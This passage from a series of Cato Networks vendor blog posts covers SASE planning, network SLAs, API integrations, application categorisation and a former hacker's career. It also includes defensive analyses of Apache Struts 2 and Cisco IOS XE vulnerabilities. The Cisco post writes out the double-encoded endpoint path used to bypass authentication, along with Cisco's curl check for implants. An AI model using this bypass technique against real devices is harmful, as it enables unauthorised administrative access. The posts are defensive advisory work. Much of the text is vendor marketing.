metrics for side-by-side vendor comparisons – laying the groundwork for an informed decision. The Final Frontier: Selecting your SASE Armed with comprehensive planning, stakeholder buy-in, and PoC insights, it’s time to make the decision. In determining the right fit for your organization, choose the SASE solution that aligns seamlessly with your business goals and objectives, offers scalability, agility, robust security, and demonstrates a clear ROI. In Conclusion By now, you've gained valuable insights into the essential requirements and considerations for planning a successful SASE project. This blog serves as your initial guide on your journey to SASE. Recognize that enterprise needs vary, making each project unique. Cato Networks’ whitepaper “How to Plan a SASE Project” has been an invaluable resource for enterprise IT leaders, offering deep and detailed insights that empower strategic decision-making.

How to Build the Perfect Network Without SLAs If you are used to managed MPLS services, transitioning to Internet last-mile access as part of SD-WAN or SASE might cause some concern. How can enterprises ensure they are getting a reliable network if they are not promised end-to-end SLAs? The answer: by dividing the enterprise backbone into the two last miles connected by a middle mile and then applying appropriate redundancy and failover systems and technologies in each section. In this blog post we explain how SD-WAN and SASE ensure higher reliability and network availability than legacy MPLS and why SLAs are actually overrated. This blog post is based on the ebook “The Future of the SLA: How to Build the Perfect Network Without MPLS”, which you can read here. The Challenge with SLAs While SLAs might create a sense of accountability, in reality enforcing penalties for missing an SLA has always been problematic. Exclusions limit the scope of any SLAs penalty. Even if the SLA penalties are gathered, they never completely compensate the enterprise for the financial and business damage resulting from downtime. And the last-mile infrastructure requirements for end-to-end SLAs often limited them to only the most important locations. Affordable last-mile redundancy, running active/active last-mile connections with automatic failover, wasn’t feasible for mid to small-sized locations. Until now. SD-WAN/SASE: The Solution to the Performance Problem SD-WANs disrupt the legacy approach for designing inherently reliable last-mile networks. By separating the underlay (Internet or MPLS) from the overlay (traffic engineering and routing intelligence), enterprises can enjoy better performance at reduced costs, to any location. Reduced Packet Loss - SD-WAN or SASE use packet loss compensation technologies to strengthen loss-sensitive applications. They also automatically choose the optimum path to minimize packet loss. In addition, Cato’s SASE enables faster packet recovery through its management of connectivity through a private network of global PoPs. Improved Uptime - SD-WAN or SASE run active/active connections with automatic failover/failback improves last-mile, as well as diverse routing, to exceed even the up-time targets guaranteed by MPLS.

With most approaches the middle-mile includes the public Internet. The global public Internet is erratic, resulting in high latency and inconsistency. This is especially challenging for applications that offer voice, video or other real-time or mission-critical services. To ensure mission-critical or loss-sensitive applications perform as expected, a different solution is required: a private middle mile. When done right, performance can exceed MPLS performance without the cost or complexity. There are two main middle mile cloud alternatives: 1. Global Private Backbones These are private cloud backbones offered by AWS and Azure for connecting third-party SD-WAN devices. However, this option requires complex provisioning and could result in some SD-WAN features being unavailable, limited bandwidth, routing limits, limited geographical reach and security complexities. In addition, availability is also questionable. Uptime SLAs offered by cloud providers run 99.95% or ~264 minutes of downtime per year. Traditional telco service availability typically runs at four nines, 99.99% uptime for ~52 minutes of downtime per year. 2. The Cato Global Private Backbone Cato’s edge SD-WAN devices automatically connect to the nearest Cato PoP into the Cato Global Private Backbone. The Cato backbone is a geographically distributed, SLA-backed network of 80+ PoPs, interconnected by multiple tier-1 carriers that commit to SLAs around long-haul latency, jitter and packet loss. Cato backs its network with 99.999% uptime SLA (~5m of downtime per year). With Cato’s global private backbone, there is no need for the operational headache of HA planning and ensuring redundancy.  As a fully distributed, self-healing service, Cato includes many tiers of redundancies across PoPs, nodes and servers. Cato also optimizes the network by maximizing bandwidth, real-time path selection and packet loss correction, among other ways. Overall, Cato customers have seen 10x to 20x improved throughput when compared to MPLS or an all Internet connection, at a significantly lower cost than MPLS. The Challenge with Telco Services While a fully managed telco service might also seem like a convenient solution, it has its set of limitations: Telco networks lack global coverage, requiring the establishment of third party relations  to connect locations outside their operating area. Loss of control and visibility, since telco networks limit enterprises' ability to change their WAN configuration themselves. High costs, due to legacy and dedicated infrastructure and appliances. Rigid service, due to reliance on the provider’s network and product expertise. Do We Need SLAs? Ensuring uptime can be achieved without SLAs. Technology can help.  Separating the underlay from the overlay and the last mile from the middle mile results in a reliable and optimized global network without the cost or lock-in of legacy MPLS services.

Apache Struts 2 Remote Code Execution (CVE-2023-50164) – Cato’s Analysis and Mitigation

Apache Struts 2 Remote Code Execution (CVE-2023-50164) – Cato’s Analysis and Mitigation By Vadim Freger, Dolev Moshe Attiya On December 7th, 2023, the Apache Struts project disclosed a critical vulnerability (CVSS score 9.8) in its Struts 2 open-source web framework. The vulnerability resides in the flawed file upload logic and allows attackers to manipulate upload parameters, resulting in arbitrary file upload and code execution under certain conditions. There is no known workaround, and the only solution is to upgrade to the latest versions, the affected versions being: Struts 2.0.0 - Struts 2.3.37 (EOL) Struts 2.5.0 - Struts 2.5.32 Struts 6.0.0 - Struts 6.3.0 The Struts framework, an open-source Java EE web application development framework, is somewhat infamous for its history of critical vulnerabilities. Those include, but are not limited to, CVE-2017-5638 which was the vector of the very public Equifax data breach in 2017 resulting in the theft of 145 million consumer records, which was made possible due to an unpatched Struts 2 server. At the time of disclosure, there were no known attempts to exploit, but several days later on December 12th, a Proof-of-Concept (POC) was made publicly available. Immediately, we saw increased scanning and exploitation activity across Cato’s global network. Within one day, Cato had protected against the attack. [boxlink link="https://www.catonetworks.com/rapid-cve-mitigation/"] Rapid CVE Mitigation by Cato Security Research [/boxlink] Details of the vulnerability The vulnerability is made possible by combining two flaws in Struts 2, allowing attackers to manipulate file upload parameters to upload and then execute a file. This vulnerability stems from the manipulation of file upload parameters. The first flaw involves simulating the file upload, where directory traversal becomes possible along with a malicious file. This file upload request generates a temporary file corresponding to a parameter in the request. Under regular circumstances, the temporary file should be deleted after the request ends, but in this case, the temporary file is not deleted, enabling attackers to upload their file to the host.The second flaw is the case-sensitive nature of HTTP parameters. Sending a capitalized parameter and later using a lowercase parameter with the same name in a request makes it possible to modify a field without undergoing the usual checks and validations. This creates an ideal scenario for employing directory traversal to manipulate the upload path, potentially directing the malicious file to an execution folder. From there, an attacker can execute the malicious file, for instance, a web shell to gain access to the server. Cato’s analysis and response to the CVE From our data and analysis at Cato’s Research Labs we have seen multiple exploitation attempts of the CVE across Cato customer networks immediately following the POC availability.Attempts observed range from naive scanning attempts to real exploitation attempts looking for vulnerable targets. Cato deployed IPS signatures to block any attempts to exploit the RCE in just 24 hours from the date of the POC publication, protecting all Cato-connected edges – sites, remote users, and cloud resources -- worldwide from December 13th, 2023. Nonetheless, Cato recommends upgrading all vulnerable webservers to the latest versions released by the project maintainers.

With New Third-Party Integrations, Cato Improves Reach and Helps Customers Cuts Costs

With New Third-Party Integrations, Cato Improves Reach and Helps Customers Cuts Costs Consider this: By the end of 2024, Gartner has projected that over 40% of enterprises will have explicit strategies in place for SASE adoption compared to just 1% in 2018. As the “poster child” of SASE (Forrester Research’s words not mine), Cato has seen first-hand SASE’s incredible growth not just in adoption by organizations of all sizes, but also in terms of third-party vendor requests to integrate Cato SASE Cloud into their software. The Cato API provides the Cato SASE Experience programmatically to third parties. Converging security and networking information into a single API reduces ingestion costs a simplifies data retrieval. It’s this same kind of elegant, agile, and smart approach that typifies the Cato SASE Experience. Over the past year, nearly a dozen technology vendors released Cato integrations including Artic Wolf, Axonius, Google, Rapid7, Sekoia, and Sumo Logic. Cato channel partners, like UK-based Wavenet, have also done their own internal integrations, reporting significant ROI improvements. “So many of vendors who didn’t give us the time-of-day are now approaching and telling us that their customers are demanding they integrate with Cato,” says Peter Lee, worldwide strategic sales engineer and Cato’s subject matter expert on the Cato API.  One API To Rule them All As a single converged platform, Cato offers one API for fetching security, networking, and access data worldwide about any site, user, or cloud resource. A single request allowed developers to fetch information on a specific object, class of events or timeframe – from any location, user, and cloud entity, or for all objects across their Cato SASE Cloud account. This single “window into the Cato world” is one of the telltale signs of a true SASE platform. Only by building a platform with convergence in mind could Cato create a single API for accessing events related to SD-WAN and networking, as well as security events from our SWG, CASB, DLP, RBI, ZTNA/SDP, IPS, NGAM, and FWaaS capabilities. All are delivered in the same format and structure for instant processing. By contrast, product-centric approaches require developers to make multiple requests to each product and for each location. One request would be issued for firewall events, another for IPS events, still another for connectivity events for each enterprise location. Multiple locations will require separate requests. And each product would deliver data in a different format and structure, requiring further investment to normalize them before processing.

Just ask Charlie Riddle. Riddle heads up product integration for Wavenet, a UK-based MSP offering a converged managed SOC service based on Microsoft and Cato SASE Cloud.   He had a customer who switched from ingesting data from legacy firewalls to ingesting data from Cato. “Cato’s security logs are so efficient that when ingested into our 24/7 Managed Security Operations Centre (SOC), a 500-user business with 20+ sites saved £2,000 (about $2,500) per month, about 30% of the total SOC cost, just in Sentinel log ingestion charges,” he says. For Cato customers, Wavenet only needed to push the log data into its SIEM, not the full network telemetry data, to ensure accurate event correlation.  And because Wavenet provides both the Cato network and the SOC, Wavenet’s SOC team is able to use Cato’s own security tools directly to investigate alerts and to respond to them, rather than relying only on EDR software or the SIEM itself. Managing the network and security together this way improves both threat detection and response, while reducing spend.   Partners Address a Range of Use Cases with Cato Providing security, networking, and access data through one interface has led to a range of third-party integrations. SIEMs need to ingest Cato data for comprehensive incident and event management. Detection and response use Cato data to identify threats. Asset management systems tap Cato data to track what’s on the network. Sekoia.io XDR, for example, ingests and enriches Cato SASE Cloud log and alerts to fuel their detection engines. "The one-click "cloud to cloud" integration between Cato SASE Cloud and Sekoia.io XDR allows our customers to leverage the valuable data produced by their Cato solutions and drastically improve their detection and orchestration capabilities within a modern SOC platform," Georges Bossert, CTO of Sekoia.io, a European cybersecurity company. (Click here for more information about the integration) Another vendor, Sumo Logic, ingests Cato’s security and audit events, making it easy for users to add mission-critical context about their SASE deployment to existing security analytics, automatically correlate Cato security alerts with other signals in Sumo Logic’s Cloud SIEM, and simplify audit and compliance workflows. “Capabilities delivered via a SASE leader like Cato Networks has become a critical part of modern organizations’ response to remote work, cloud migration initiatives, and the overall continued growth of SaaS applications required to run businesses efficiently,” said Drew Horn, Senior Director of Technology Alliances, Sumo Logic. “We’re excited to partner with Cato Networks and enable our joint customers the ability to effectively ensure compliance and more quickly investigate potential threats across their applications, infrastructure and digital workforce.” (Click here for more information about the Sumo Logic integration.)

How Long Before Governments Ban Use of Security Appliances? Enterprises in the private sector look to the US federal government for cybersecurity best practices. The US CISA (Cybersecurity & Infrastructure Security Agency) issues orders and directives to patch existing products or avoid use of others. The US NIST (National Institute of Standards and Technology) publishes important documents providing detailed guidance on various security topics such as its Cybersecurity Framework (CSF). CISA and NIST, like their peer government agencies in the world, have dedicated teams of experts tasked with quantifying the risks of obsolete security solutions and discovered vulnerabilities, and the urgency of safeguarding against their exploitation. Such agencies do not exist in the private sector. If you are not a well-funded organization with an established team of cyber experts, following the government’s guidance is both logical and effective. What you should do vs what you can do Being aware of government agencies guidance on cyber security is extremely important. Awareness, however, is just one part of the challenge. The second part, usually the much bigger part, is following their guidance. Instructions, also referred to as ‘orders’ or ‘directives,’ to update operating systems and patch hardware products arise on a weekly basis, and most enterprises, both public and private, struggle to keep up. Operating systems like Windows and macOS have come a long way in making software updates automatic and simple to deploy. Many enterprises have their computers centrally managed and can roll out a critical software update in a matter of hours or days. Hardware appliances, on the other hand, are not so simple to patch. They often serve as critical infrastructure so IT must be careful about disrupting their operation, often delaying until a weekend or holiday. Appliances such as routers, firewalls, secure web gateways (SWG) and intrusion prevention systems (IPS) have well-earned reputations of being extremely ‘sensitive’ to updates. Historically, they do not continue to operate the same after a patch or fix, leading to lengthy and frustrating troubleshooting, loss of productivity and heightened risk of attack. The challenge in rapidly patching appliances is known to governments as it is known to cyber attackers. Those appliances, often (mis)trusted as the enterprise perimeter security, are effectively the easy and preferred way for attackers to enter an enterprise. [boxlink link="https://www.catonetworks.com/resources/cato-networks-sase-threat-research-report/"] Cato Networks SASE Threat Research Report H2/2022 | Get the Report [/boxlink] The CISA KEV Catalog – Focus on what’s important Prioritization has become a necessity as  most enterprises can’t really spend their resources in continuous patching cycles. The US CISA’s Known Exploited Vulnerability (KEV) catalog which mandates the most critical patches for government organizations, helps enterprises in the private sector know where to focus their efforts. The KEV catalog also exposes some important insights worth paying attention to. Cloud-native security vendors such as Imperva Incapsula, Okta, Cloudflare, Cato Networks and Zscaler don’t have a single record in the database. This is because their solution architecture allows them to patch and fix vulnerabilities in their ongoing service, so enterprises are always secured. Hardware vendors, on the other hand, show a different picture. As of September of 2023, Cisco has 65 records, VMware has 22 records, Fortinet has 11 records, and Palo Alto Networks has 4 records. Cyber risk analysis and the inevitable conclusion CISA’s KEV is just the tip of the iceberg. Going into the full CVE (Common Vulnerabilities and Exposures) database shows a much more concerning picture. FortiOS, the operating system used across all of Fortinet’s NGFWs has over 130 vulnerabilities associated with it, 31 of which disclosed in 2022, and 14 in the first 9 months of 2023. PAN-OS, the operating system in Palo Alto Networks’ NGFWs has over 150 vulnerabilities listed. Cisco ASA, by the way, is nearing 400. For comparison, Okta, Zscaler and Netskope are all in the single-digit range, and as cloud services, are able to address any CVE in near-zero time, and without any dependency on end customers. Since most enterprises lack the teams and expertise to assess the risk of so many vulnerabilities and the resources to continuously patch them, they are forced by reality to leave their enterprises exposed to cyber-attacks. The risk of trusting in appliance-based security vs. cloud-based security is clear and unquestionable. It is clear when you look at CISA’s KEV and even clearer when you look at the entire CVE database. All of this leads to the inevitable conclusion that at some point, perhaps not too far ahead in the future, government agencies such as the US NIST and CISA will recommend against or even ban appliance-based security solutions. Some practical advice If you think the above is a stretch, just take a look at Fortinet’s own analysis of a recent vulnerability, explicitly stating it is targeted at governments and critical infrastructure: https://www.fortinet.com/blog/psirt-blogs/analysis-of-cve-2023-27997-and-clarifications-on-volt-typhoon-campaign. Security appliances have been around for decades, and yet, the dream of a seamless, frictionless, automatic and risk-free patching for these products never came true. It can only be achieved with a cloud-native security solution. If your current security infrastructure is under contract and appliance-based, start planning how you are going to migrate from it to a cloud-native security at the coming refresh cycle. If you are refreshing now or about to soon, thoroughly consider the ever-increasing risk in appliances.

Cato Application Catalog – How we supercharged application categorization with AI/ML

Cato Application Catalog – How we supercharged application categorization with AI/ML New applications emerge at an almost impossible to keep-up-with pace, creating a constant challenge and blind spot for IT and security teams in the form of Shadow IT. Organizations must keep up by using tools that are automatically updated with latest developments and changes in the applications landscape to maintain proper security. An integral part of any SASE product is its ability to accurately categorize and map user traffic to the actual application being used. To manage sanctioned/unsanctioned applications, apply security policies across the network based on the application or category of applications, and especially for granular application controls using CASB, a comprehensive application catalog must be maintained. At Cato, keeping up required building a process that is both highly automated and just as importantly, data-driven, so that we focus on the applications most in-use by our customers and be able to separate the wheat from the chaff.In this post we’ll detail how we supercharged our application catalog updates from a labor-intensive manual process to an AI/ML based process that is fully automated in the form of a data-driven pipeline, growing our rate of adding new application by an order of magnitude, from tens of application to hundreds added every week. What IS an application in the catalog? Every application in our Application Catalog has several characteristics: General – what the company does, employees, where it’s headquartered, etc. Compliance – certifications the application holds and complies with. Security – features supported by the application such as if it supports TLS or Two-Factor authentication, SSO, etc. Risk score – a critical field calculated by our algorithms based on multiple heuristics (detailed here later) to allow IT managers and CISOs focus on actual possible threats to their network. Down to business, how it actually gets done We refer to the process of adding an application as “signing” it, that is, starting from the automated processes up to human analysts going over the list of apps to be released in the weekly release cycle and giving it a final human verification (side note: this is also presently a bottleneck in the process, as we want the highest control and quality when publishing new content to our production environment, though we are working on ways to improve this part of the process as well). As mentioned, first order of business is picking the applications that we want to add, and for that we use our massive data lake in which we collect all the metadata from all traffic that flows through our network.We identify these by looking at the most used domains (FQDNs) in our entire network, repeating across multiple customer accounts, which are yet to be signed and are not in our catalog. [boxlink link="https://catonetworks.easywebinar.live/registration-everything-you-wanted-to-know-about-ai-security"] Everything You Wanted To Know About AI Security But Were Afraid To Ask | Watch the Webinar [/boxlink] The automation is done end-to-end using “Shinnok”, our in-house tool developed and maintained by our Security Research team, taking the narrowed down list of unsigned apps Shinnok begins compiling the 4 fields (description, compliance, security & risk score) for every app. Description – This is the most straightforward part, and based on info taken via API from Crunchbase Compliance – Using a combination of online lookups and additional heuristics for every compliance certification we target; we compile the list of supported certifications by the app.For example by using Google’s query API for a given application + “SOC2”, and then further filtering the results for false positives from unreliable sources we can identify support for the SOC2 compliance. Security – Similar to compliance, with the addition of using our data lake to identify certain security features being used by the app that we observe over the network. Risk Score – Being the most important field, we take a combination of multiple data points to calculate the risk score: Popularity: This is based on multiple data points including real-time traffic data from our network to measure occurrences of the application across our own network and correlated with additional online sources. Typically, an app that is more popular and more well-known poses a lower risk than a new obscure application. CVE analysis: We collect and aggregate all known CVEs of the application, obviously the more high-severity CVEs an application has means it has more opening for attackers and increases the risk to the organization. Sentiment score: We collect news, mentions and any articles relating to the company/application, we then build a dataset with all mentions about the application.We then pass this dataset through our advanced AI deep learning model, for every mention outputting whether it is a positive or negative article/mentions, generating a final sentiment score and adding it as a data point for the overall algorithm. Distilling all the different data points using our algorithms we can calculate the final Risk Score of an app. WIIFM? The main advantage of this approach to application categorization is that it is PROACTIVE, meaning network administrators using Cato receive the latest updates for all the latest applications automatically. Based on the data we collect we evaluate that 80% - 90% of all HTTP traffic in our network is covered by a known application categorization.Admins can be much more effective with their time by looking at data that is already summarized giving them the top risks in their organization that require attention. Use case example #1 – Threads by Meta To demonstrate the proactive approach, we can take a look at a recent use case of the very public and explosive launch of the Threads platform by Meta, which anecdotally regardless of its present success was recorded as the largest product launch in history, overtaking ChatGPT with over 100M user registrations in 5 days.In the diagram below we can see this from the perspective of our own network, checking all the boxes for a new application that qualifies to be added to our app catalog. From the numbers of unique connections and users to the numbers of different customer accounts in total that were using Threads. Thanks to the automated process, Threads was automatically included in the upcoming batch of applications to sign. Two weeks after its release it was already part of the Cato App Catalog, without end users needing to perform any actions on their part. Use case example #2 – Coverage by geographical region As part of an analysis done by our Security Research team we identified a considerable gap in our coverage of application coverage for the Japanese market, and this coincided with feedback received from the Japan sales teams on lacking coverage.Using the same automated process, this time limiting the scope of the data from our data lake being inputted to Shinnok only from Japanese users we began a focused project of augmenting the application catalog with applications specific to the Japanese market, we were able to add more than 600 new applications over a period of 4 months. Following this we’ve measured a very substantial increase in the coverage of apps going from under 50% coverage to over 90% of all inspected HTTP traffic to Japanese destinations. To summarize We’ve reviewed how by leveraging our huge network and data lake, we were able to build a highly automated process, using real-time online data sources, coupled with AI/ML models to categorize applications with very little human work involved.The main benefits are of course that Cato customers do not need to worry about keeping up-to-date on the latest applications that their users are using, instead they know they will receive the updates automatically based on the top trends and usage on the internet.

From Shadow to Guardian: The Journey of a Hacker-Turned Hero  In the ever-evolving landscape of cybersecurity, the line between the defenders and attackers often blurs, with skills transferable across both arenas. It’s a narrative not unfamiliar to many in the cybersecurity community: the journey from black hat to white hat, from outlaw to protector.   In the 15th episode of Cato Networks’ Cyber Security Master Class, hosted by Etay Maor, Senior Director of Security Strategy, we had the privilege of witnessing such a transformative story unfold.  Hector Monsegur, once known in the darker corners of the internet, shared his gripping journey of becoming one of the good guys – a white hat hacker. Monsegur is a former Lulzsec hacker group leader Sabu and currently serves as director of research at Alacrinet.  His story is not just one of redemption but is a beacon of invaluable insights into the complex cybersecurity landscape.  The Allure of the Abyss  Monsegur’s tale began in the abyss, the place where many black hat hackers find a home. Drawn by the allure of challenge and the thrill of breaking into seemingly impregnable systems, Monsegur recounted his early days of cyber mischief. Like many others in his position, it wasn’t greed or malice that fueled his journey; it was curiosity and the quest for recognition in a community that celebrates technical prowess.  However, as he emphasized in his conversation with Maor, the actions of black hat hackers have real-world consequences. They affect lives, destroy businesses, and even threaten national security. It was this realization, alongside consequential run-ins with the law, that marked the turning point in Monsegur’s life.   [boxlink link="https://catonetworks.easywebinar.live/registration-becoming-a-white-hat"] Becoming a White Hat : An interview with a former Black Hat | Watch the Webinar [/boxlink] Crossing the Chasm  The transition from black hat to white hat is more than just a title change – it’s a complete ideological shift. For Monsegur, the journey was fraught with challenges. Rebuilding trust was one of the significant hurdles he had to overcome. He had to prove his skills could be used for good, to defend and protect, rather than to disrupt and damage.   It was through this difficult transition that Monsegur highlighted the importance of opportunity. Many black hats lack the channel to pivot their skills into a legal and more constructive cybersecurity career. Monsegur’s case was different. He was presented with a chance to help government agencies fend off the kind of attacks he once might have initiated, turning his life around and setting a precedent for other reformed hackers.  A Valuable Perspective  One of the most compelling takeaways from the interview was the unique perspective that former black hats bring to the table. Having been on the other side, Monsegur understands the mindsets and tactics of cyber attackers intrinsically. This insider knowledge is invaluable in anticipating and mitigating attacks before they happen.  In his white hat role, Monsegur has been instrumental in helping organizations understand and fortify their cyber defenses. His approach goes beyond traditional methods – it’s proactive, driven by an intimate knowledge of how black hat hackers operate.  The White Hat Ethos  Becoming a white hat hacker is not merely a career change; it is an ethos, a commitment to using one’s skills for the greater good. Monsegur emphasized the satisfaction derived from protecting people and institutions from the threats he once posed. This fulfillment, according to him, surpasses any thrill that black hat hacking ever offered.  In his dialogue with Maor, Monsegur didn’t shy away from addressing the controversial aspects of his past. Instead, he leveraged his experiences to educate and warn of the dangers lurking in the cyber shadows. He expressed a desire to guide those walking a similar path to his past, steering them towards using their talents constructively.  Fostering Redemption in Cybersecurity  The cybersecurity community, Monsegur believes, has a role to play in fostering redemption. He advocates for the creation of paths for black hats to reform and join the ranks of cybersecurity professionals. By providing education, mentorship, and employment opportunities, the community cannot only help rehabilitate individuals but also strengthen its defenses with their unique skill sets.  Monsegur’s story serves as a powerful reminder that the road to redemption is possible. It emphasizes that when directed positively, the skills that once challenged the system can become its greatest shield.  Closing Thoughts  As the interview ended, the overarching message was clear: transformation is possible, and it can lead to powerful outcomes for both the individual and the broader cybersecurity ecosystem. Hector Monsegur’s journey from black hat to white hat hacker is not just a personal victory but a collective gain for the community seeking to safeguard our digital world.  Through stories like Monsegur’s, we find hope and a reminder that within every challenge lies the potential for growth and change. It is up to us, the cybersecurity community, to embrace this potential and transform it into a force for good.

Addressing CxO Questions About SASE A New Reality The nature of the modern digital business is constantly and rapidly evolving, requiring network and security architectures to move at the same speed.  Moving at the speed of business demands a new architecture that is agile, flexible, highly scalable, and very secure to keep pace with dynamic business changes.  In short, this requires SASE.  However, replacing a traditional architecture in favor of a SASE cloud architecture to meet these demands can introduce heart-stopping uncertainty in even the most forward-thinking CxOs. Most CxOs understand what SASE delivers; some can even envision their SASE deployment. However, they require more clarity about SASE approaches, requirements, and expectations.  The correct SASE decision delivers long-term success; conversely, the wrong decision adversely impacts the organization.  Avoiding this predicament requires due diligence, asking tough questions, and validating their use cases and business objectives. Understanding the right questions to ask requires understanding the critical gaps in the existing architecture to visualize the desired architecture.  Asking the right questions requires clarity on the problems the business is trying to solve.  Considerations like new security models, required skills, or potential trade-offs should be addressed before any project begins. We’ll  answer some of those questions and highlight how the right SASE cloud solution delivers benefits beyond architectural simplicity and efficiency. Answering CxO Questions Determining which questions are relevant enough to influence a buying decision and then acting on them can be exhausting.  This blog addresses those concerns to clarify SASE’s ability to solve common use cases and advance business goals.  While the following questions only represent a small set of the possible questions asked by CxOs, they help crystalize the potential of a SASE Cloud solution to address critical questions and use cases while assuaging any concerns. Does this fit our use cases, and what do we need to validate? A key decision point for many CxOs is whether or not the solution solves their most pressing use cases.  So, understanding what’s not working, why it’s not working, and what success looks like when it is working provides them with their north star, per se, as guidance.  One would assume that answering this question is quite easy; however, looking closer we find the answers are rather subjective. Through our engagements with customers, we’ve found that use cases tend to fall into one of three broad categories: 1. Network & security consolidation/simplification Point solutions to address point problems yields appliance sprawl. This has created security gaps and sent management support costs through skyrocketing.  This makes increasing IT spending harder to justify to the board, pushing more CxOs to explore alternatives amid shrinking budgets. SASE is purpose-built to consolidate and simplify network and security architectures.  The right SASE Cloud solution delivers a single, converged software stack that consolidates network, access, and security into one, thus eliminating solution sprawl and security gaps.  Additionally, it eliminated day-to-day support tasks, thus delivering a high ROI. 2. Secure Access/Work-From-Anywhere Covid-19 accelerated a new working model for modern digital enterprises.  Hybrid work became the rule more than an exception, increasing secure remote access requirements. SASE makes accommodating this and other working model easy to facilitate while ensuring productivity and consistent security everywhere. 3. Cloud Optimization & Security As hybrid and multi-cloud becomes a core business & technology strategy, performance and security demands have increased.  Organizations require compatible performance and security in the cloud as they received on-premise. SASE improves cloud performance and provides consistent security enforcement for hybrid and multi-cloud environments. The right SASE cloud approach addresses all common and complex use cases, thus becoming a clear benefit for modern enterprises.

What will our IT operations look like? Can we inspire the team to develop new skills to fit this new IT model? When moving to a 100% cloud-delivered SASE solution, it is logical to question the level of cloud expertise required.  Can IT teams easily adapt to support a SASE cloud solution?  How can we efficiently align to build a more agile and dynamic IT organization? The average IT technologist joined the profession envisioning strategic thought-provoking projects that challenged their creative and innovative prowess.  SASE cloud solutions enable these technologists to realize this vision while allowing organizations to think differently about how IT teams support the overall business.  Traditional activities like infrastructure and capacity planning, updating, patching, and fixing now fall to the SASE cloud provider since they own the network infrastructure.  Additionally, SASE cloud strengthens NOC and SOC operations with 360-degree coverage for network and security issues.  The right SASE cloud platform offloads these mundane operational tasks that typically frustrates IT personnel and leads to burn out. IT teams can now focus on more strategic projects that drive business by offloading common day-to-day support tasks to their SASE Cloud provider. How can all security services be effectively delivered without an on-premises appliance?  What are the penalties/risks if done solely in the cloud? Traditional appliances fit nicely into IT comfort zones.  You can see it and touch it, so moving all security policies to the cloud can be scary.  Some will question if it makes sense to enforce all policies in the cloud and whether this will provide complete security coverage.  These questions try to make sense of SASE, highlighted by a fear of the architectural unknown. There is a reason most CxOs pursue SASE solutions.  They’ve realized that current network architectures are unsustainable and require a bit of sanity.  The right SASE Cloud platform provides this through the convergence of access, networking, and security into a single software stack.  All technologies are built into a single code base and collaborate to deliver more holistic security.  And, with a global private network of SASE PoPs, SASE Cloud delivers consistent policy enforcement everywhere the user resides.  This simple method of delivering Security-as-a-Service makes sense to them. What will this deployment journey be like, and how simple will it be? Traditional network and security deployments are extremely complex.  They require hardware everywhere, extended troubleshooting, and other unknown risks.  These include integrating cloud environments; ensuring cloud and on-premise security policies are consistent; impact on normal operations; and licensing and support contracts, just to name a few. Mitigating risks inherent with on-premises deployments is top-of-mind for most CxOs. SASE cloud solution deployments are straightforward and simple with most customers gaining a very clear idea of this during their POC.  The POC provides customers with deep insight into common SASE cloud deployment practices and ease of configuration, and they gain clarity for their journey based on their use cases.  Best of all, they see how the solution works in their environment and, more importantly, how the SASE cloud solution integrates into their existing production network.  This helps alleviate any concerns for their new SASE journey. What, if any, are the quantitative and qualitative compromises of SASE?  How do we manage them? CxOs face daunting, career-defining dilemmas when acquiring new technologies, and SASE is no different. They must determine how to prioritize and find necessary compromises when needed.  Traditional solution deployments are sometimes accompanied by unexpected costs associated with ancillary technology or resource requirements. For example, how would they manage a preferred solution if they later find it unsuitable for certain use cases?  Do they move forward with their purchase?  Do they select another knowing it may fail to address a different set of use cases? While priorities and compromises are subjective, it helps to identify potential trade-offs by defining the “must-have”, “should-have”, and “nice-to-have” requirements for a particular environment.  Working closely with your SASE cloud vendor during the POC, you will test and validate your use cases against these requirements.  In the end, customers usually find that the right SASE cloud solution will meet their common and complex access, network, and security use cases. How do we get buy-in from the board? SASE is just as much a strategic business conversation as an architectural one.  How a CxO approaches this – what technical and business use cases they map to, their risk-mitigating strategy, and their path to ROI – will determine their overall level of success.  So, gaining board-level buy-in is an important and possibly, the most critical part of their process. CxOs must articulate the strategic business benefits of converging access, networking, and security functions into a single cloud-native software stack with unlimited scalability to support business growth.  An obvious benefit is how SASE accelerates and optimizes access to critical applications and enhances security coverage while improving user experiences and efficiency. CxOs can also consult our blog, Talk SASE To Your Board, for board conversation tips. Cato SASE Cloud is the Answer A key advantage of Cato SASE Cloud is that it solves the most common business and technical use cases.  Mapping the SASE cloud solution into these use cases and testing them during a POC will uncover the must/should/nice-to-have requirements and help customers visualize solving them with a SASE cloud solution. CxOs and other technology business leaders will naturally have questions about SASE and how to approach potential migration. SASE changes the networking and security game, so embarking upon this new journey requires changing minds. Cato SASE Cloud represent the new secure digital platform of the future that is best positioned to allow enterprises to experience business transformation without limits.

Cisco IOS XE Privilege Escalation (CVE-2023-20198) – Cato’s analysis and mitigation

Cisco IOS XE Privilege Escalation (CVE-2023-20198) – Cato’s analysis and mitigation By Vadim Freger, Dolev Moshe Attiya, Shirley Baumgarten All secured webservers are alike; each vulnerable webserver running on a network appliance is vulnerable in its own way. On October 16th 2023 Cisco published a security advisory detailing an actively exploited vulnerability (CVE-2023-20198) in its IOS XE operating system with a 10 CVSS score, allowing for unauthenticated privilege escalation and subsequent full administrative access (level 15 in Cisco terminology) to the vulnerable device.After gaining access, which in itself is already enough to do damage and allows full device control, using an additional vulnerability (CVE-2023-20273) an attacker can elevate further to the “root” user and install a malicious implant to the disk of the device. When the initial announcement was published Cisco had no patched software update to provide, and the suggested mitigations were to disable HTTP/S access to the IOS XE Web UI and/or limiting the access to it from trusted sources using ACLs and approx. a week later patches were published and the advisory updated.The zero-day vulnerability was being exploited before the advisory was published, and many current estimates and scanning analyses put the number of implanted devices in the tens of thousands. [boxlink link="https://www.catonetworks.com/rapid-cve-mitigation/"] Rapid CVE Mitigation by Cato Security Research [/boxlink] Details of the vulnerability The authentication bypass is done on the webui_wsma_http or webui_wsma_https endpoints in the IOS XE webserver (which is running OpenResty, an Nginx variant that adds Lua scripting support). By using double-encoding (a simple yet clearly effective evasion technique) in the URL of the POST request it bypasses checks performed by the webserver and passes the request to the backend. The request body contains an XML payload which the backend executes arbitrarily since it’s considered to pass validations and comes from the frontend.In the request example below (credit: @SI_FalconTeam) we can see the POST request along with the XML payload is sent to /%2577ebui_wsma_http, when %25 is the character “%” encoded, followed by 77, and combined is “%77” which is the character “w” encoded. Cisco has also provided a command to check the presence of an implant in the device, by running: curl -k -X POST "https[:]//DEVICEIP/webui/logoutconfirm.html?logon_hash=1", replacing DEVICEIP and checking the response, if a hexadecimal string is returned an implant is present. Cato’s analysis and response to the CVE From our data and analysis at Cato’s Research Labs we have seen multiple exploitation attempts of the CVE, along with an even more interesting case of Cisco’s own SIRT (Security Incident Response Team) performing scanning of devices to detect if they 